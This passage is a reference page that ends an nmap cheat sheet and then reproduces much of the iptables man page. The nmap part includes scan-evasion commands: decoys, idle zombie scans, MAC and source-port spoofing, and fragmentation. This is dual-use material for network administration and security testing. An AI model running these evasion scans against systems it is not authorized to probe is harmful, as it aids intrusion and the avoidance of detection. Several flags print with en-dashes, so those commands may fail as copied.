Specify a Specific MTU nmap –mtu [MTU] [target] nmap –mtu 32 192.168.0.1
Use a Decoy nmap -D RND:[number] [target] nmap -D RND:10 192.168.0.1
Idle Zombie Scan nmap -sI [zombie] [target] nmap -sI 192.168.0.38 192.168.0.1
Manually Specify a Source Port nmap –source-port [port] [target] nmap –source-port 1025 192.168.0.1
Append Random Data nmap –data-length [size] [target] nmap –data-length 20 192.168.0.1
Randomize Target Scan Order nmap –randomize-hosts [target] nmap –randomize-hosts 192.168.0.1-20
Spoof MAC Address nmap –spoof-mac [MAC|0|vendor] [target] nmap –spoof-mac Cisco 192.168.0.1
Send Bad Checksums nmap –badsum [target] nmap –badsum 192.168.0.1


OUTPUT OPTIONS

Goal Command Example
Save Output to a Text File nmap -oN [scan.txt] [target] nmap -oN scan.txt 192.168.0.1
Save Output to a XML File nmap -oX [scan.xml] [target] nmap -oX scan.xml 192.168.0.1
Grepable Output nmap -oG [scan.txt] [targets] nmap -oG scan.txt 192.168.0.1
Output All Supported File Types nmap -oA [path/filename] [target] nmap -oA ./scan 192.168.0.1
Periodically Display Statistics nmap –stats-every [time] [target] nmap –stats-every 10s 192.168.0.1
133t Output nmap -oS [scan.txt] [target] nmap -oS scan.txt 192.168.0.1


TROUBLESHOOTING AND DEBUGGING

Goal Command Example
Getting Help nmap -h nmap -h
Display Nmap Version nmap -V nmap -V
Verbose Output nmap -v [target] nmap -v 192.168.0.1
Debugging nmap -d [target] nmap -d 192.168.0.1
Display Port State Reason nmap –reason [target] nmap –reason 192.168.0.1
Only Display Open Ports nmap –open [target] nmap –open 192.168.0.1
Trace Packets nmap –packet-trace [target] nmap –packet-trace 192.168.0.1
Display Host Networking nmap –iflist nmap –iflist
Specify a Network Interface nmap -e [interface] [target] nmap -e eth0 192.168.0.1


NMAP SCRIPTING ENGINE

Goal Command Example
Execute Individual Scripts nmap –script [script.nse] [target] nmap –script banner.nse 192.168.0.1
Execute Multiple Scripts nmap –script [expression] [target] nmap –script ‘http-*’ 192.168.0.1
Script Categories all, auth, default, discovery, external, intrusive, malware, safe, vuln
Execute Scripts by Category nmap –script [category] [target] nmap –script ‘not intrusive’ 192.168.0.1
Execute Multiple Script Categories nmap –script [category1,category2,etc] nmap –script ‘default or safe’ 192.168.0.1
Troubleshoot Scripts nmap –script [script] –script-trace [target] nmap –script banner.nse –script-trace 192.168.0.1
Update the Script Database nmap –script-updatedb nmap –script-updatedb

Download NMap

Iptables – CheatSheet


Iptables CheatSheet

NAME

iptables – administration tool for IPv4 packet filtering and NAT

SYNOPSIS

iptables [-t table] -[AD] chain rule-specification [options]
iptables [-t table] -I chain [rulenum] rule-specification [options]
iptables [-t table] -R chain rulenum rule-specification [options]
iptables [-t table] -D chain rulenum [options]
iptables [-t table] -[LFZ] [chain] [options]
iptables [-t table] -N chain
iptables [-t table] -X [chain]
iptables [-t table] -P chain target [options]
iptables [-t table] -E old-chain-name new-chain-name

DESCRIPTION

Iptables is used to set up, maintain, and inspect the tables of IP packet filter rules in the Linux kernel. Several different tables may be defined. Each table contains a number of built-in chains and may also contain user-defined chains.

Each chain is a list of rules which can match a set of packets. Each rule specifies what to do with a packet that matches. This is called a `target’, which may be a jump to a user-defined chain in the same table.

TARGETS

A firewall rule specifies criteria for a packet and a target. If the packet does not match, the next rule in the chain is the examined; if it does match, then the next rule is specified by the value of the target, which can be the name of a user-defined chain or one of the special values ACCEPT, DROP, QUEUE, or RETURN.

ACCEPT means to let the packet through. DROP means to drop the packet on the floor. QUEUE means to pass the packet to userspace. (How the packet can be received by a userspace process differs by the particular queue handler. 2.4.x and 2.6.x kernels up to 2.6.13 include the ip_queue queue handler. Kernels 2.6.14 and later additionally include the nfnetlink_queuequeue handler. Packets with a target of QUEUE will be sent to queue number ‘0’ in this case. Please also see the NFQUEUEtarget as described later in this man page.) RETURN means stop traversing this chain and resume at the next rule in the previous (calling) chain. If the end of a built-in chain is reached or a rule in a built-in chain with target RETURN is matched, the target specified by the chain policy determines the fate of the packet.

TABLES

There are currently three independent tables (which tables are present at any time depends on the kernel configuration options and which modules are present).

-t, –table table
This option specifies the packet matching table which the command should operate on. If the kernel is configured with automatic module loading, an attempt will be made to load the appropriate module for that table if it is not already there.The tables are as follows:

filter:
This is the default table (if no -t option is passed). It contains the built-in chains INPUT (for packets destined to local sockets), FORWARD (for packets being routed through the box), and OUTPUT (for locally-generated packets).
nat:
This table is consulted when a packet that creates a new connection is encountered. It consists of three built-ins: PREROUTING (for altering packets as soon as they come in), OUTPUT (for altering locally-generated packets before routing), and POSTROUTING (for altering packets as they are about to go out).
mangle:
This table is used for specialized packet alteration. Until kernel 2.4.17 it had two built-in chains:PREROUTING (for altering incoming packets before routing) and OUTPUT (for altering locally-generated packets before routing). Since kernel 2.4.18, three other built-in chains are also supported:INPUT (for packets coming into the box itself), FORWARD (for altering packets being routed through the box), and POSTROUTING (for altering packets as they are about to go out).
raw:
This table is used mainly for configuring exemptions from connection tracking in combination with the NOTRACK target. It registers at the netfilter hooks with higher priority and is thus called before ip_conntrack, or any other IP tables. It provides the following built-in chains: PREROUTING (for packets arriving via any network interface) OUTPUT (for packets generated by local processes)

OPTIONS

The options that are recognized by iptables can be divided into several different groups.

COMMANDS

These options specify the action to perform. Only one of them can be specified on the command line unless otherwise stated below. For long versions of the command and option names, you need to use only enough letters to ensure that iptables can differentiate it from all other options.

-A, –append chain rule-specification
Append one or more rules to the end of the selected chain. When the source and/or destination names resolve to more than one address, a rule will be added for each possible address combination.
-D, –delete chain rule-specification
-D, –delete chain rulenum
Delete one or more rules from the selected chain. There are two versions of this command: the rule can be specified as a number in the chain (starting at 1 for the first rule) or a rule to match.
-I, –insert chain [rulenum] rule-specification
Insert one or more rules in the selected chain as the given rule number. So, if the rule number is 1, the rule or rules are inserted at the head of the chain. This is also the default if no rule number is specified.
-R, –replace chain rulenum rule-specification
Replace a rule in the selected chain. If the source and/or destination names resolve to multiple addresses, the command will fail. Rules are numbered starting at 1.
-L, –list [chain]
List all rules in the selected chain. If no chain is selected, all chains are listed. Like every other iptables command, it applies to the specified table (filter is the default), so NAT rules get listed by

 iptables -t nat -n -L

Please note that it is often used with the -n option, in order to avoid long reverse DNS lookups. It is legal to specify the-Z (zero) option as well, in which case the chain(s) will be atomically listed and zeroed. The exact output is affected by the other arguments given. The exact rules are suppressed until you use

 iptables -L -v
-F, –flush [chain]
Flush the selected chain (all the chains in the table if none is given). This is equivalent to deleting all the rules one by one.
-Z, –zero [chain]
Zero the packet and byte counters in all chains. It is legal to specify the -L, –list (list) option as well, to see the counters immediately before they are cleared. (See above.)
-N, –new-chain chain
Create a new user-defined chain by the given name. There must be no target of that name already.
-X, –delete-chain [chain]
Delete the optional user-defined chain specified. There must be no references to the chain. If there are, you must delete or replace the referring rules before the chain can be deleted. The chain must be empty, i.e. not contain any rules. If no argument is given, it will attempt to delete every non-builtin chain in the table.
-P, –policy chain target
Set the policy for the chain to the given target. See the section TARGETS for the legal targets. Only built-in (non-user-defined) chains can have policies, and neither built-in nor user-defined chains can be policy targets.
-E, –rename-chain old-chain new-chain
Rename the user specified chain to the user supplied name. This is cosmetic, and has no effect on the structure of the table.
-h
Help. Give a (currently very brief) description of the command syntax.

PARAMETERS

The following parameters make up a rule specification (as used in the add, delete, insert, replace and append commands).

-p, –protocol [!] protocol
The protocol of the rule or of the packet to check. The specified protocol can be one of tcp, udp, icmp, or all, or it can be a numeric value, representing one of these protocols or a different one. A protocol name from /etc/protocols is also allowed. A “!” argument before the protocol inverts the test. The number zero is equivalent to all. Protocol all will match with all protocols and is taken as default when this option is omitted.
-s, –source [!] address[/mask]
Source specification. Address can be either a network name, a hostname (please note that specifying any name to be resolved with a remote query such as DNS is a really bad idea), a network IP address (with /mask), or a plain IP address. The mask can be either a network mask or a plain number, specifying the number of 1’s at the left side of the network mask. Thus, a mask of 24 is equivalent to 255.255.255.0. A “!” argument before the address specification inverts the sense of the address. The flag –src is an alias for this option.
-d, –destination [!] address[/mask]
Destination specification. See the description of the -s (source) flag for a detailed description of the syntax. The flag –dst is an alias for this option.
-j, –jump target
This specifies the target of the rule; i.e., what to do if the packet matches it. The target can be a user-defined chain (other than the one this rule is in), one of the special builtin targets which decide the fate of the packet immediately, or an extension (see EXTENSIONS below). If this option is omitted in a rule (and -g is not used), then matching the rule will have no effect on the packet’s fate, but the counters on the rule will be incremented.
-g, –goto chain
This specifies that the processing should continue in a user specified chain. Unlike the –jump option return will not continue processing in this chain but instead in the chain that called us via –jump.
-i, –in-interface [!] name
Name of an interface via which a packet was received (only for packets entering the INPUT, FORWARD andPREROUTING chains). When the “!” argument is used before the interface name, the sense is inverted. If the interface name ends in a “+”, then any interface which begins with this name will match. If this option is omitted, any interface name will match.
-o, –out-interface [!] name
Name of an interface via which a packet is going to be sent (for packets entering the FORWARD, OUTPUT andPOSTROUTING chains). When the “!” argument is used before the interface name, the sense is inverted. If the interface name ends in a “+”, then any interface which begins with this name will match. If this option is omitted, any interface name will match.
[!] -f, –fragment
This means that the rule only refers to second and further fragments of fragmented packets. Since there is no way to tell the source or destination ports of such a packet (or ICMP type), such a packet will not match any rules which specify them. When the “!” argument precedes the “-f” flag, the rule will only match head fragments, or unfragmented packets.
-c, –set-counters PKTS BYTES
This enables the administrator to initialize the packet and byte counters of a rule (during INSERT, APPEND, REPLACEoperations).

OTHER OPTIONS

The following additional options can be specified:

-v, –verbose
Verbose output. This option makes the list command show the interface name, the rule options (if any), and the TOS masks. The packet and byte counters are also listed, with the suffix ‘K’, ‘M’ or ‘G’ for 1000, 1,000,000 and 1,000,000,000 multipliers respectively (but see the -x flag to change this). For appending, insertion, deletion and replacement, this causes detailed information on the rule or rules to be printed.
-n, –numeric
Numeric output. IP addresses and port numbers will be printed in numeric format. By default, the program will try to display them as host names, network names, or services (whenever applicable).
-x, –exact
Expand numbers. Display the exact value of the packet and byte counters, instead of only the rounded number in K’s (multiples of 1000) M’s (multiples of 1000K) or G’s (multiples of 1000M). This option is only relevant for the -Lcommand.
–line-numbers
When listing rules, add line numbers to the beginning of each rule, corresponding to that rule’s position in the chain.
–modprobe=command
When adding or inserting rules into a chain, use command to load any necessary modules (targets, match extensions, etc).

MATCH EXTENSIONS

iptables can use extended packet matching modules. These are loaded in two ways: implicitly, when -p or –protocol is specified, or with the -m or –match options, followed by the matching module name; after these, various extra command line options become available, depending on the specific module. You can specify multiple extended match modules in one line, and you can use the -h or –help options after the module has been specified to receive help specific to that module.

The following are included in the base package, and most of these can be preceded by a ! to invert the sense of the match.

addrtype

This module matches packets based on their address type. Address types are used within the kernel networking stack and categorize addresses into various groups. The exact definition of that group depends on the specific layer three protocol.

The following address types are possible:
UNSPEC
an unspecified address (i.e. 0.0.0.0) UNICAST an unicast address LOCAL a local address BROADCAST a broadcast address ANYCAST an anycast packet MULTICAST a multicast address BLACKHOLE a blackhole addressUNREACHABLE an unreachable address PROHIBIT a prohibited address THROW FIXME NAT FIXME XRESOLVEFIXME
–src-type type
Matches if the source address is of given type
–dst-type type
Matches if the destination address is of given type

ah

This module matches the SPIs in Authentication header of IPsec packets.

–ahspi [!] spi[:spi]

comment

Allows you to add comments (up to 256 characters) to any rule.

–comment comment
Example:
iptables -A INPUT -s 192.168.0.0/16 -m comment –comment “A privatized IP block”

connbytes

Match by how many bytes or packets a connection (or one of the two flows constituting the connection) have transferred so far, or by average bytes per packet.

The counters are 64bit and are thus not expected to overflow ;)

The primary use is to detect long-lived downloads and mark them to be scheduled using a lower priority band in traffic control.

The transferred bytes per connection can also be viewed through /proc/net/ip_conntrack and accessed via ctnetlink

[!] –connbytes from:[to]
match packets from a connection whose packets/bytes/average packet size is more than FROM and less than TO bytes/packets. if TO is omitted only FROM check is done. “!” is used to match packets not falling in the range.
–connbytes-dir [original|reply|both]
which packets to consider
–connbytes-mode [packets|bytes|avgpkt]
whether to check the amount of packets, number of bytes transferred or the average size (in bytes) of all packets received so far. Note that when “both” is used together with “avgpkt”, and data is going (mainly) only in one direction (for example HTTP), the average packet size will be about half of the actual data packets.
Example:
iptables .. -m connbytes –connbytes 10000:100000 –connbytes-dir both –connbytes-mode bytes …

connmark

This module matches the netfilter mark field associated with a connection (which can be set using the CONNMARK target below).

–mark value[/mask]
Matches packets in connections with the given mark value (if a mask is specified, this is logically ANDed with the mark before the comparison).

conntrack

This module, when combined with connection tracking, allows access to more connection tracking information than the “state” match. (this module is present only if iptables was compiled under a kernel supporting this feature)

–ctstate state
Where state is a comma separated list of the connection states to match. Possible states are INVALID meaning that the packet is associated with no known connection, ESTABLISHED meaning that the packet is associated with a connection which has seen packets in both directions, NEW meaning that the packet has started a new connection, or otherwise associated with a connection which has not seen packets in both directions, and RELATED meaning that the packet is starting a new connection, but is associated with an existing connection, such as an FTP data transfer, or an ICMP error. SNAT A virtual state, matching if the original source address differs from the reply destination. DNAT A virtual state, matching if the original destination differs from the reply source.
–ctproto proto
Protocol to match (by number or name)
–ctorigsrc [!] address[/mask]
Match against original source address
–ctorigdst [!] address[/mask]
Match against original destination address
–ctreplsrc [!] address[/mask]
Match against reply source address
–ctrepldst [!] address[/mask]
Match against reply destination address
–ctstatus [NONE|EXPECTED|SEEN_REPLY|ASSURED][,…]
Match against internal conntrack states
–ctexpire time[:time]
Match remaining lifetime in seconds against given value or range of values (inclusive)

dccp

–source-port,–sport [!] port[:port]
–destination-port,–dport [!] port[:port]
–dccp-types [!] mask
Match when the DCCP packet type is one of ‘mask’. ‘mask’ is a comma-separated list of packet types. Packet types are:REQUEST RESPONSE DATA ACK DATAACK CLOSEREQ CLOSE RESET SYNC SYNCACK INVALID.
–dccp-option [!] number
Match if DCP option set.

dscp

This module matches the 6 bit DSCP field within the TOS field in the IP header. DSCP has superseded TOS within the IETF.

–dscp value
Match against a numeric (decimal or hex) value [0-32].
–dscp-class DiffServ Class
Match the DiffServ class. This value may be any of the BE, EF, AFxx or CSx classes. It will then be converted into its according numeric value.

ecn

This allows you to match the ECN bits of the IPv4 and TCP header. ECN is the Explicit Congestion Notification mechanism as specified in RFC3168

–ecn-tcp-cwr
This matches if the TCP ECN CWR (Congestion Window Received) bit is set.
–ecn-tcp-ece
This matches if the TCP ECN ECE (ECN Echo) bit is set.
–ecn-ip-ect num
This matches a particular IPv4 ECT (ECN-Capable Transport). You have to specify a number between `0′ and `3′.

esp

This module matches the SPIs in ESP header of IPsec packets.

–espspi [!] spi[:spi]

hashlimit

This patch adds a new match called ‘hashlimit’. The idea is to have something like ‘limit’, but either per destination-ip or per (destip,destport) tuple.

It gives you the ability to express

‘1000 packets per second for every host in 192.168.0.0/16’
‘100 packets per second for every service of 192.168.1.1’

with a single iptables rule.

–hashlimit rate
A rate just like the limit match
–hashlimit-burst num
Burst value, just like limit match
–hashlimit-mode dstip,srcip,dstport,srcport
A comma-separated list of objects to take into consideration
–hashlimit-name foo
The name for the /proc/net/ipt_hashlimit/foo entry
–hashlimit-htable-size num
The number of buckets of the hash table
–hashlimit-htable-max num
Maximum entries in the hash
–hashlimit-htable-expire num
After how many milliseconds do hash entries expire
–hashlimit-htable-gcinterval num
How many milliseconds between garbage collection intervals

helper

This module matches packets related to a specific conntrack-helper.

–helper string
Matches packets related to the specified conntrack-helper.

string can be “ftp” for packets related to a ftp-session on default port. For other ports append -portnr to the value, ie. “ftp-2121”.

Same rules apply for other conntrack-helpers.

icmp

This extension can be used if `–protocol icmp’ is specified. It provides the following option:

–icmp-type [!] typename
This allows specification of the ICMP type, which can be a numeric ICMP type, or one of the ICMP type names shown by the command

 iptables -p icmp -h

iprange

This matches on a given arbitrary range of IPv4 addresses

(Please note: This match requires kernel support that might not be available in official Linux kernel sources or Debian’s packaged Linux kernel sources. And if support for this match is available for the specific Linux kernel source version, that support might not be enabled in the current Linux kernel binary.)

[!]–src-range ip-ip
Match source IP in the specified range.
[!]–dst-range ip-ip
Match destination IP in the specified range.

length

This module matches the length of a packet against a specific value or range of values.

–length [!] length[:length]

limit

This module matches at a limited rate using a token bucket filter. A rule using this extension will match until this limit is reached (unless the `!’ flag is used). It can be used in combination with the LOG target to give limited logging, for example.

–limit rate
Maximum average matching rate: specified as a number, with an optional `/second’, `/minute’, `/hour’, or `/day’ suffix; the default is 3/hour.
–limit-burst number
Maximum initial number of packets to match: this number gets recharged by one every time the limit specified above is not reached, up to this number; the default is 5.

mac

–mac-source [!] address
Match source MAC address. It must be of the form XX:XX:XX:XX:XX:XX. Note that this only makes sense for packets coming from an Ethernet device and entering the PREROUTING, FORWARD or INPUT chains.

mark

This module matches the netfilter mark field associated with a packet (which can be set using the MARK target below).

–mark value[/mask]
Matches packets with the given unsigned mark value (if a mask is specified, this is logically ANDed with the maskbefore the comparison).

multiport

This module matches a set of source or destination ports. Up to 15 ports can be specified. A port range (port:port) counts as two ports. It can only be used in conjunction with -p tcp or -p udp.

–source-ports [!] port[,port[,port:port…]]
Match if the source port is one of the given ports. The flag –sports is a convenient alias for this option.
–destination-ports [!] port[,port[,port:port…]]
Match if the destination port is one of the given ports. The flag –dports is a convenient alias for this option.
–ports [!] port[,port[,port:port…]]
Match if either the source or destination ports are equal to one of the given ports.

owner

This module attempts to match various characteristics of the packet creator, for locally-generated packets. It is only valid in theOUTPUT chain, and even this some packets (such as ICMP ping responses) may have no owner, and hence never match.

–uid-owner userid
Matches if the packet was created by a process with the given effective user id.
–gid-owner groupid
Matches if the packet was created by a process with the given effective group id.
–pid-owner processid
Matches if the packet was created by a process with the given process id. (Please note: This option requires kernel support that might not be available in official Linux kernel sources or Debian’s packaged Linux kernel sources. And if support for this option is available for the specific Linux kernel source version, that support might not be enabled in the current Linux kernel binary.)
–sid-owner sessionid
Matches if the packet was created by a process in the given session group. (Please note: This option requires kernel support that might not be available in official Linux kernel sources or Debian’s packaged Linux kernel sources. And if support for this option is available for the specific Linux kernel source version, that support might not be enabled in the current Linux kernel binary.)
–cmd-owner name
Matches if the packet was created by a process with the given command name. (Please note: This option requires kernel support that might not be available in official Linux kernel sources or Debian’s packaged Linux kernel sources. And if support for this option is available for the specific Linux kernel source version, that support might not be enabled in the current Linux kernel binary.)
NOTE: pid, sid and command matching are broken on SMP

physdev

This module matches on the bridge port input and output devices enslaved to a bridge device. This module is a part of the infrastructure that enables a transparent bridging IP firewall and is only useful for kernel versions above version 2.5.44.

–physdev-in [!] name
Name of a bridge port via which a packet is received (only for packets entering the INPUT, FORWARD andPREROUTING chains). If the interface name ends in a “+”, then any interface which begins with this name will match. If the packet didn’t arrive through a bridge device, this packet won’t match this option, unless ‘!’ is used.
–physdev-out [!] name
Name of a bridge port via which a packet is going to be sent (for packets entering the FORWARD, OUTPUT andPOSTROUTING chains). If the interface name ends in a “+”, then any interface which begins with this name will match. Note that in the nat and mangle OUTPUT chains one cannot match on the bridge output port, however one can in thefilter OUTPUT chain. If the packet won’t leave by a bridge device or it is yet unknown what the output device will be, then the packet won’t match this option, unless ‘!’ is used.
[!] –physdev-is-in
Matches if the packet has entered through a bridge interface.
[!] –physdev-is-out
Matches if the packet will leave through a bridge interface.
[!] –physdev-is-bridged
Matches if the packet is being bridged and therefore is not being routed. This is only useful in the FORWARD and POSTROUTING chains.

pkttype

This module matches the link-layer packet type.

–pkt-type [unicast|broadcast|multicast]

policy

This modules matches the policy used by IPsec for handling a packet.

–dir in|out
Used to select whether to match the policy used for decapsulation or the policy that will be used for encapsulation. inis valid in the PREROUTING, INPUT and FORWARD chains, out is valid in the POSTROUTING, OUTPUT and FORWARD chains.
–pol none|ipsec
Matches if the packet is subject to IPsec processing.
–strict
Selects whether to match the exact policy or match if any rule of the policy matches the given policy.
–reqid id
Matches the reqid of the policy rule. The reqid can be specified with setkey(8) using unique:id as level.
–spi spi
Matches the SPI of the SA.
–proto ah|esp|ipcomp
Matches the encapsulation protocol.
–mode tunnel|transport
Matches the encapsulation mode.
–tunnel-src addr[/mask]
Matches the source end-point address of a tunnel mode SA. Only valid with –mode tunnel.
–tunnel-dst addr[/mask]
Matches the destination end-point address of a tunnel mode SA. Only valid with –mode tunnel.
–next
Start the next element in the policy specification. Can only be used with –strict

quota

Implements network quotas by decrementing a byte counter with each packet.

–quota bytes
The quota in bytes.

realm

This matches the routing realm. Routing realms are used in complex routing setups involving dynamic routing protocols like BGP.

–realm [!] value[/mask]
Matches a given realm number (and optionally mask). If not a number, value can be a named realm from /etc/iproute2/rt_realms (mask can not be used in that case).

recent

Allows you to dynamically create a list of IP addresses and then match against that list in a few different ways.

For example, you can create a `badguy’ list out of people attempting to connect to port 139 on your firewall and then DROP all future packets from them without considering them.

–name name
Specify the list to use for the commands. If no name is given then ‘DEFAULT’ will be used.
[!] –set
This will add the source address of the packet to the list. If the source address is already in the list, this will update the existing entry. This will always return success (or failure if `!’ is passed in).
[!] –rcheck
Check if the source address of the packet is currently in the list.
[!] –update
Like –rcheck, except it will update the “last seen” timestamp if it matches.
[!] –remove
Check if the source address of the packet is currently in the list and if so that address will be removed from the list and the rule will return true. If the address is not found, false is returned.
[!] –seconds seconds
This option must be used in conjunction with one of –rcheck or –update. When used, this will narrow the match to only happen when the address is in the list and was seen within the last given number of seconds.
[!] –hitcount hits
This option must be used in conjunction with one of –rcheck or –update. When used, this will narrow the match to only happen when the address is in the list and packets had been received greater than or equal to the given value. This option may be used along with –seconds to create an even narrower match requiring a certain number of hits within a specific time frame.
–rttl
This option must be used in conjunction with one of –rcheck or –update. When used, this will narrow the match to only happen when the address is in the list and the TTL of the current packet matches that of the packet which hit the –setrule. This may be useful if you have problems with people faking their source address in order to DoS you via this module by disallowing others access to your site by sending bogus packets to you.
–name name
Name of the recent list to be used. DEFAULT used if none given.
–rsource
Match/Save the source address of each packet in the recent list table (default).
–rdest
Match/Save the destination address of each packet in the recent list table.

Examples:

# iptables -A FORWARD -m recent –name badguy –rcheck –seconds 60 -j DROP# iptables -A FORWARD -p tcp -i eth0 –dport 139 -m recent –name badguy –set -j DROP

Official website (http://snowman.net/projects/ipt_recent/) also has some examples of usage.

/proc/net/ipt_recent/* are the current lists of addresses and information about each entry of each list.

Each file in /proc/net/ipt_recent/ can be read from to see the current list or written two using the following commands to modify the list:

echo xx.xx.xx.xx > /proc/net/ipt_recent/DEFAULT
to Add to the DEFAULT list
echo -xx.xx.xx.xx > /proc/net/ipt_recent/DEFAULT
to Remove from the DEFAULT list
echo clear > /proc/net/ipt_recent/DEFAULT
to empty the DEFAULT list.

The module itself accepts parameters, defaults shown:

ip_list_tot=100
Number of addresses remembered per table
ip_pkt_list_tot=20
Number of packets per address remembered
ip_list_hash_size=0
Hash table size. 0 means to calculate it based on ip_list_tot, default: 512
ip_list_perms=0644
Permissions for /proc/net/ipt_recent/* files
debug=0
Set to 1 to get lots of debugging info

sctp

–source-port,–sport [!] port[:port]
–destination-port,–dport [!] port[:port]
–chunk-types [!] all|any|only chunktype[:flags] […]
The flag letter in upper case indicates that the flag is to match if set, in the lower case indicates to match if unset.Chunk types: DATA INIT INIT_ACK SACK HEARTBEAT HEARTBEAT_ACK ABORT SHUTDOWN SHUTDOWN_ACK ERROR COOKIE_ECHO COOKIE_ACK ECN_ECNE ECN_CWR SHUTDOWN_COMPLETE ASCONF ASCONF_ACK

chunk type available flags
DATA U B E u b e
ABORT T t
SHUTDOWN_COMPLETE T t

(lowercase means flag should be “off”, uppercase means “on”)

Examples:

iptables -A INPUT -p sctp –dport 80 -j DROP

iptables -A INPUT -p sctp –chunk-types any DATA,INIT -j DROP

iptables -A INPUT -p sctp –chunk-types any DATA:Be -j ACCEPT

state

This module, when combined with connection tracking, allows access to the connection tracking state for this packet.

–state state
Where state is a comma separated list of the connection states to match. Possible states are INVALID meaning that the packet could not be identified for some reason which includes running out of memory and ICMP errors which don’t correspond to any known connection, ESTABLISHED meaning that the packet is associated with a connection which has seen packets in both directions, NEW meaning that the packet has started a new connection, or otherwise associated with a connection which has not seen packets in both directions, and RELATED meaning that the packet is starting a new connection, but is associated with an existing connection, such as an FTP data transfer, or an ICMP error.

string

This modules matches a given string by using some pattern matching strategy. It requires a linux kernel >= 2.6.14.

–algo bm|kmp
Select the pattern matching strategy. (bm = Boyer-Moore, kmp = Knuth-Pratt-Morris)
–from offset
Set the offset from which it starts looking for any matching. If not passed, default is 0.
–to offset
Set the offset from which it starts looking for any matching. If not passed, default is the packet size.
–string pattern
Matches the given pattern. –hex-string pattern Matches the given pattern in hex notation.

tcp

These extensions can be used if `–protocol tcp’ is specified. It provides the following options:

–source-port [!] port[:port]
Source port or port range specification. This can either be a service name or a port number. An inclusive range can also be specified, using the format port:port. If the first port is omitted, “0” is assumed; if the last is omitted, “65535” is assumed. If the second port greater then the first they will be swapped. The flag –sport is a convenient alias for this option.
–destination-port [!] port[:port]
Destination port or port range specification. The flag –dport is a convenient alias for this option.
–tcp-flags [!] mask comp
Match when the TCP flags are as specified. The first argument is the flags which we should examine, written as a comma-separated list, and the second argument is a comma-separated list of flags which must be set. Flags are: SYN ACK FIN RST URG PSH ALL NONE. Hence the command

 iptables -A FORWARD -p tcp --tcp-flags SYN,ACK,FIN,RST SYN

will only match packets with the SYN flag set, and the ACK, FIN and RST flags unset.

[!] –syn
Only match TCP packets with the SYN bit set and the ACK,RST and FIN bits cleared. Such packets are used to request TCP connection initiation; for example, blocking such packets coming in an interface will prevent incoming TCP connections, but outgoing TCP connections will be unaffected. It is equivalent to –tcp-flags SYN,RST,ACK,FIN SYN. If the “!” flag precedes the “–syn”, the sense of the option is inverted.
–tcp-option [!] number
Match if TCP option set.

tcpmss

This matches the TCP MSS (maximum segment size) field of the TCP header. You can only use this on TCP SYN or SYN/ACK packets, since the MSS is only negotiated during the TCP handshake at connection startup time.

[!] –mss value[:value]
Match a given TCP MSS value or range.

tos

This module matches the 8 bits of Type of Service field in the IP header (ie. including the precedence bits).

–tos tos
The argument is either a standard name, (use

iptables -m tos -h
to see the list), or a numeric value to match.

ttl

This module matches the time to live field in the IP header.

–ttl-eq ttl
Matches the given TTL value.
–ttl-gt ttl
Matches if TTL is greater than the given TTL value.
–ttl-lt ttl
Matches if TTL is less than the given TTL value.

udp

These extensions can be used if `–protocol udp’ is specified. It provides the following options:

–source-port [!] port[:port]
Source port or port range specification. See the description of the –source-port option of the TCP extension for details.
–destination-port [!] port[:port]
Destination port or port range specification. See the description of the –destination-port option of the TCP extension for details.

unclean

This module takes no options, but attempts to match packets which seem malformed or unusual. This is regarded as experimental.

TARGET EXTENSIONS

iptables can use extended target modules: the following are included in the standard distribution.

CLASSIFY

This module allows you to set the skb->priority value (and thus classify the packet into a specific CBQ class).

–set-class MAJOR:MINOR
Set the major and minor class value.

CLUSTERIP

This module allows you to configure a simple cluster of nodes that share a certain IP and MAC address without an explicit load balancer in front of them. Connections are statically distributed between the nodes in this cluster.

–new
Create a new ClusterIP. You always have to set this on the first rule for a given ClusterIP.
–hashmode mode
Specify the hashing mode. Has to be one of sourceip, sourceip-sourceport, sourceip-sourceport-destport
–clustermac mac
Specify the ClusterIP MAC address. Has to be a link-layer multicast address
–total-nodes num
Number of total nodes within this cluster.
–local-node num
Local node number within this cluster.
–hash-init rnd
Specify the random seed used for hash initialization.

CONNMARK

This module sets the netfilter mark value associated with a connection

–set-mark mark[/mask]
Set connection mark. If a mask is specified then only those bits set in the mask is modified.
–save-mark [–mask mask]
Copy the netfilter packet mark value to the connection mark. If a mask is specified then only those bits are copied.
–restore-mark [–mask mask]
Copy the connection mark value to the packet. If a mask is specified then only those bits are copied. This is only valid in the mangle table.

CONNSECMARK

This module copies security markings from packets to connections (if unlabeled), and from connections back to packets (also only if unlabeled). Typically used in conjunction with SECMARK, it is only valid in the mangle table.

–save
If the packet has a security marking, copy it to the connection if the connection is not marked.
–restore
If the packet does not have a security marking, and the connection does, copy the security marking from the connection to the packet.

DNAT

This target is only valid in the nat table, in the PREROUTING and OUTPUT chains, and user-defined chains which are only called from those chains. It specifies that the destination address of the packet should be modified (and all future packets in this connection will also be mangled), and rules should cease being examined. It takes one type of option:

–to-destination [ipaddr][-ipaddr][:portport]
which can specify a single new destination IP address, an inclusive range of IP addresses, and optionally, a port range (which is only valid if the rule also specifies -p tcp or -p udp). If no port range is specified, then the destination port will never be modified. If no IP address is specified then only the destination port will be modified.In Kernels up to 2.6.10 you can add several –to-destination options. For those kernels, if you specify more than one destination address, either via an address range or multiple –to-destination options, a simple round-robin (one after another in cycle) load balancing takes place between these addresses. Later Kernels (>= 2.6.11-rc1) don’t have the ability to NAT to multiple ranges anymore.

–random
If option –random is used then port mapping will be randomized (kernel >= 2.6.22).

DSCP

This target allows to alter the value of the DSCP bits within the TOS header of the IPv4 packet. As this manipulates a packet, it can only be used in the mangle table.

–set-dscp value
Set the DSCP field to a numerical value (can be decimal or hex)
–set-dscp-class class
Set the DSCP field to a DiffServ class.

ECN

This target allows to selectively work around known ECN blackholes. It can only be used in the mangle table.

–ecn-tcp-remove
Remove all ECN bits from the TCP header. Of course, it can only be used in conjunction with -p tcp.

LOG

Turn on kernel logging of matching packets. When this option is set for a rule, the Linux kernel will print some information on all matching packets (like most IP header fields) via the kernel log (where it can be read with dmesg or syslogd(8)). This is a “non-terminating target”, i.e. rule traversal continues at the next rule. So if you want to LOG the packets you refuse, use two separate rules with the same matching criteria, first using target LOG then DROP (or REJECT).

–log-level level
Level of logging (numeric or see syslog.conf(5)).
–log-prefix prefix
Prefix log messages with the specified prefix; up to 29 letters long, and useful for distinguishing messages in the logs.
–log-tcp-sequence
Log TCP sequence numbers. This is a security risk if the log is readable by users.
–log-tcp-options
Log options from the TCP packet header.
–log-ip-options
Log options from the IP packet header.
–log-uid
Log the userid of the process which generated the packet.

MARK

This is used to set the netfilter mark value associated with the packet. It is only valid in the mangle table. It can for example be used in conjunction with iproute2.

–set-mark value
Set nfmark value
–and-mark value
